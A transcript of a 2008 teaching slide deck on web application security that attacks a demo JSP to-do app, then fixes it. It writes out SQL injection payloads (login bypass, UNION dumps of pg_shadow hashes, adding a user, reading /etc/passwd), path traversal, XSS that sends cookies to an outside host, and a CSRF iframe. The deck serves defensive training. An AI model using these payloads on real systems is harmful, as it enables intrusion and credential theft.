Web Application Security Gabriel Lawrence ACT Data Security Manager March 10, 2008.
-
Upload
meryl-green -
Category
Documents
-
view
213 -
download
0
Transcript of Web Application Security Gabriel Lawrence ACT Data Security Manager March 10, 2008.
Web Application Security
Gabriel LawrenceACT Data Security Manager
March 10, 2008
The Plan
• Build a simple web application
– Simple enough that we can build it here and now
– Simple enough that the language doesn’t matter
– Real enough that the problems are commonly found in web applications
• Exploit the application
– Unvalidated Input
– Broken Access Control
– Broken Authentication and Session Management
– Cross Site Scripting
– Injection Flaws
– Improper Error Handling
• Fix the Application so it is not vulnerable
About the application
• Manage Todos
– Public and Private Todos
– Name, description, status, attachments
• View Todo list
• Edit Todo
• Upload and Download attachments
Database Schema
• PostgreSQL
• Three Tables
– Todos
• Id, title, description, public,owner,complete
– Attachments
• Todo_id, name
– Users
• Uname, password
ERD
Todo
id title description publicFK1 owner complete
Attachements
nameFK1 todo_id
users
uname password
System Diagram
PostgreSQL 8.1.6
Tomcat 5.5
Web Browser
HTTP
JDBC
Application Development
• Java JSTL in Netbeans running on Linux
• Hosted in Tomcat
• Simple database access and HTML
• Language doesn’t matter
– Similar components and constructs in other environments
– Mostly off the shelf pieces
• Pure HTML front end
Application Structure
View.jsp
Index.jsp
Edit.jsp Upload.jsp Download.jsp
Login.jsp
View.jsp
Edit.jsp
Upload.jsp
Login Form
• Form to collect username and password
• On post, query database for matching
username and password
– If found, set username as a session variable
and redirect to view.jsp
– Otherwise, prompt for Uname and password
again.
View.jsp
• Select all todos that are public or owned
by the logged in user
• Display the title and description
• Select all the attachments and show their
filename linked to download page
• For each item have a link to the edit page
and the upload page
Edit.jsp
• Select information for parameter ID
• allow edit of title and description using text
boxes
• public and complete as checkboxes
• allow to save changes or return to the view
page
Upload.jsp
• Form to upload a file
• On upload, save file to /home/todofiles
• Insert todo id and filename into
attachments
• Return to the view page
Download.jsp
• Read file from /home/todofiles and send it
to the browser
Demo Of Application
Broken Access Control
• Skipping the login page:– http://localhost:8084/webappdemo/todo/view.jsp
Edit page
• http://localhost:8084/webappdemo/todo/edit.jsp?id=1
• What happens if we change the 1?
• Broken Access Control
– We can see the todos that aren't public and
aren't ours.
Exploiting the login page
• ' in the username
– Injection Flaw
– Improper Error Handling
– Unvalidated Input
Why I almost had a 3rd kid
SQL Injection
• Parameter passed to database
• Embedding SQL in parameter
• Confusing the database about what is data
and what is SQL
• SQL in parameter is executed by database
SQL Select Statement
• Used to select data from a table
• Syntax
– SELECT [ALL | DISTINCT] columnname1 [,columnname2]
– FROM tablename1 [,tablename2]
– [WHERE condition] [ and|or condition...]
– [GROUP BY column-list]
– [HAVING "conditions”]
– [ORDER BY "column-list" [ASC | DESC] ]
Examples
• Select uname,password from users
• select uname,password from users where
uname='gabe'
• SQL comments, stuff the database ignores
• select uname,password from users where
uname='gabe' -- this is a comment...
Unions
• Puts the results of two selects together
– SELECT [ALL | DISTINCT] columnname1 [,columnname2]
– FROM tablename1 [,tablename2]
– [WHERE condition] [ and|or condition...]
– UNION
– SELECT [ALL | DISTINCT] columnname1 [,columnname2]
– FROM tablename1 [,tablename2]
– [WHERE condition] [ and|or condition...]
Login Form Problem
• SELECT uname FROM users where
uname='${param.user}' and password='$
{param.password}'
User=gabe password=aaaa
• What happens when the username is
gabe and password is aaaa?
– gabe is substituted for ${param.user}
– aaaa is substituted for ${param.password}
• The database sees:
• SELECT uname FROM users where
uname='gabe' and password='aaaa'
Username is '
• What happens when the username is '?
– ' is substituted for ${param.user}
• The database sees:
• SELECT uname FROM users where
uname=''' and password=''
• This is bad sql and the app gets an
exception
What happens if we send in good SQL?
• username=gabe
• password= ' or 1=1 --
• Database sees:
• SELECT uname FROM users where
uname='gabe' and password='' or 1=1 --'
We are in!
Getting data out of the DB
• Edit page URL:• http://localhost:8084/webappdemo/todo/edit.jsp?id=3
• What is id used for?
• edit url to put a ' in it
– SELECT
id,title,description,public,owner,complete
FROM todos where id=${param.id}
Database Metadata
• Databases maintain tables that contain
information about their contents
– database users
– passwords
– tables
– columns
Using union to get data out
• edit.jsp selects from the database and
shows the results on the screen
• What would happen if we make the select
from edit return nothing, but we unioned it
with something that would return the right
value?
pg_shadow
• table that holds metadata about database
users
– username
– password
• select * from pg_shadow
Making SQL to inject
• IMPROPER ERROR HANDLING MAKES THIS
EASY!
• We want username and password
– SELECT id,title,description,public,owner,complete
FROM todos where id=something
– union
– ?
– Are there strings here that are displayed?
Getting username and password
• The data we want in the right format:
– select 1,usename,passwd,false,passwd,false from
pg_shadow
• Doing the union:
– SELECT id,title,description,public,owner,complete
FROM todos where id=-1
– union
– select 1,usename,passwd,false,passwd,false from
pg_shadow
What to put in?
• Existing SQL is:
• SELECT id,title,description,public,owner,complete FROM todos where id=${param.id}
• ${param.id} is what will be substitued
• id should be:– -1
– union
– select 1,usename,passwd,false,passwd,false from pg_shadow
Reading the db schema
• information_schema.tables
• information_schema.columns
• select 1,table_name,table_name,false,table_name,false from information_schema.tables where table_schema='public'
• select 1,column_name,data_type,false,'',false from information_schema.columns where table_name='users'
Reading Application Users
• select 1,uname,password,false,'',false
from users
Chaining SQL Statements
• You can send more then one sql
statement to the database.
• ; delimits each sql statement
Adding a user
• ;insert into users (uname,password)
values ('badguy','pass');
Reading from the filesystem
• Creating an table and loading it in:
– ;create table myfile (input TEXT); copy myfile
from '/etc/passwd';
• Reading the data out:
– union select 1,'',input,false,'', false from myfile
Injection Flaw
• Downloading files from the filesystem
• download.jsp
• File file=new
File("/home/todofiles/"+request.getParame
ter("filename"));
• What happens if we goof around with the
filename parameter?
Finding the path
• http://localhost:8084/webappdemo/todo/download.jsp?filename=/etc/passwd
• We get an error page:
• description The requested resource
(/home/todofiles/etc/passwd (No such file
or directory)) is not available.
Can we get to the root?
• ../../etc/passwd?
• Path becomes:
– /home/todofiles/../../etc/passwd
JavaScript
• First deployed in the browse in December of 1995
• Now known as ECMAScript
• prototype-based scripting language
• Loosely based on C (the Java in JavaScript is marketing – although there is a link between Java and JavaScript they are separate languages)
JavaScript in the browser
• Most commonly used in web browsers for client
side scripting
– Also in PDF, Adobe Creative Suite, JDK 1.6,
Dashboard Widgets on OSX, Adobe Air
• Browsers come with standard Objects
– browser objects:
• window, document, HTML event handlers
– Document Object Model
– XMLHttpRequest
Document Object Model
• Standard object model for HTML and XML
documents
• Support in all browsers
• Allows JavaScript to read and change the
contents of web pages
• Defines an event model that allows
JavaScript to interact with the user
Communicating across the network
• JavaScript can load images
• JavaScript can submit forms
• iFrames
• XmlHttpRequest
• Other methods...
JavaScript Security Model
• Browser has a security policy that governs what JavaScript can do
• The Same-Origin Policy
– prevents scripts loaded from one web site from interacting with a document loaded from a different site
– Scripts loaded from other sites are restricted to the origin that the document that loaded them came from, not the place the script was hosted
– Same origin applies to accessing embedded documents (Window, iframe, layer, ilayer)
– Same origin doesn’t prevent script from loading window, iframe, layer, ilayer from another site
XSS – Cross Site Scripting
• Injecting JavaScript so that it will run in the
browser with a servers origin
• Breaking the JavaScript security model
– Steal data
– Execute commands
– Session Hijacking
Persisted XSS
Bad GuyUnsuspecting Dupe
Database
Web Server
Load PagePost Form With Script
Script
Load Page
Script
HTML plus Script
Browser Parses HTML + Script
Script runs with the origin of the web site
Reflected XSS
Web Server
Bad Guy
Unsuspecting Dupe
Instant messenger, email, whatever…
Verify your account click
http://somesite?param=<script src=http://evil.com/>http://somesite?param=<script src=http://evil.com/>
HTML + <script src=http://evil.com/>
Script at evil.com runs with
origin of somesiteUser can check SSL cert,
It will be valid
Evil.com script can
Render HTML
Steal session data
Do anything JavaScript Can
Poor Mans Page Defacement
• document.location on browsers controls
the what content is in the current window
• What would happen if we put
<script>document.location="http://www.cn
n.com"</script> in the description of a
todo?
Stealing data
• <script>
• var myImage = new Image;
• myImage.src="http://
www.landq.org/"+document.cookie+"---"+d
ocument.location;
• </script>
DOM Manipulation
• You can change the HTML on the page
• Create a fake login page
• XSRF – you can issue blind requests to
forge web browsing
Cross-Site XMLHttpRequest
• same-origin restrictions to network requests
– one origin from obtaining data retrieved from another
origin
• Mechanism
– Access-control HTTP response header
– <?access-control?> processing directive
– Access-control-origin HTTP Request Header
Issues
• Designed to allow client-side applications
and mashups
• Problems
– data leak via 'legitimate' XSS
– Sites must carefully allow only certain sites
access
CSRF
• Scripts pushing urls to other sites
• What happens if an iframe on a forum site does
this:
• <iframe src=“http://yourbank/transfer.asp?
from=checking&to=08809988&amount=1000000
></iframe>
• http://www.davidairey.co.uk/google-gmail-
security-hijack/
Fixing things
Broken Access Control• Create a filter that maps across all the urls that have /todo/* in them and make sure that a user is
signed in by checking the session.
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain)
throws IOException, ServletException {
HttpServletRequest httpRequest = (HttpServletRequest)request;
HttpServletResponse httpResponse = (HttpServletResponse)response;
HttpSession session = httpRequest.getSession();
if (session.getAttribute("uname")!=null) {
chain.doFilter(request, response);
} else {
httpResponse.sendError(404);
}
}
SQL Injection
• The problem is that data and code are mixed
– The database has no way of knowing that the SQL is
being mixed with data
– If you could separate data from SQL you could avoid
having the database parse the data and execute it
• Prepared Statements
– SQL separated from data
Output Filtering
• <c:out> does filtering for some special characters
– & -> &
– < -> <
– > -> >
– " -> "
– ' -> '
– Probably not good enough in all cases!
• Broken if output is JavaScript or CSS
• Substitutes the HTML entity codes so that they can be run as script
– W3C says watch out for: &;`'\"|*?~<>^()[]{}$\n\r
• Should be complemented with Input filtering
– Don't allow special characters in if they aren't allowed
– RegEx’s are your friend
– Free form text is scary
<
<
%3C
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\x3c\x3C\u003c\u003C
From http://ha.ckers.org/xss.html
All the possible combinations of the character "<" in HTML and JavaScript (in UTF-8).
Checking Input
• Don't trust anything that went to or came
from the user
• Store things on the server in the session
or check them before using them
• Don’t forget about concurrency
– access rights may have changed since
something was placed in the session
Error Page Handling
• Set up a global error handler
– Control the information leaked out
– Ability to do additional logging and notification
– Done globally assures that it is applied
consistently
– Not enough to protect from these
vulnerabilities, but makes taking advantage of
them harder
Automated Tools
Available Tools
• UC wide negotiated price
– SPI WebInspect (now HP)
– Watchfile AppScan (now IBM)
• Enterprise Agreement with IBM
– Even better pricing!
URL Summary
Graph of issue type
Issue Details
Good Methodology
• Developer Training
• Code Reviews
• Hand Testing
• Automated Tool Testing
Resources
• Web Application Security
– www.owasp.org
– www.webappsec.org (mail list too)
• SQL Injection
– http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf
• XSS
– http://ha.ckers.org/
– http://www.net-security.org/dl/articles/XSS-Paper.txt
– http://ha.ckers.org/xss.html
• JavaScript
– http://www.gnucitizen.org/projects/attackapi/
• Nice story putting it all together in the real world
– http://www.zone-h.org/content/view/14458/31/
• Ripped from today’s headlines
– http://www.theregister.co.uk/2007/02/15/router_vuln/